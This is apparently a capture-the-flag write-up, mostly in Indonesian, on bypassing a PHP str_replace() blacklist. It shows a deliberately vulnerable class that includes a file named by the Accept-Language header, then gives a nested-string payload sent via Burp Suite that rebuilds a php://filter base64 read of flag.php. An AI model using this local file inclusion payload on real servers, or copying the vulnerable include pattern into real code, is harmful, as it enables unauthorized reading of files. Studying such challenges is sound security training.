Bypass str_replace()

 <?php
require_once('flag.php');
class Meliodas
{
    public function setlang()
    {
        $lang = $this->Brolang();
        $san  = $this->anti_hack($lang);
        include($san);
        echo "<br><br> You'r using {$san} language";
    }
    public function Brolang()
    {
        $lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'korea';
        return $lang;
    }
    public function anti_hack($input)
    {
        $ret = str_replace(array(
            "..",
            "filter",
            "php",
            "../",
            "base",
            "encode",
            "64",
            "resource",
            "://",
            "flag"
        ), "", $input);
        return $ret;
    }
}
highlight_file(__FILE__); 
(new Meliodas())->setlang();
You'r using en-US,en;q=0.9 language

Celahnya adalah LFI, dimana beberapa string seperti filter akan direplace dengan empty string. tapi ini bisa dibypass dengan menyisipkan string diantara string, misal pphphp, akan menghasilkan php.

Dengan menggunakan Burpsuite, payload yang digunakan:

pphphp::////ffilterilter/convert.bbasease6644-eencodencode/rresourceesource=flaflagg.pphphp

results matching ""

    No results matching ""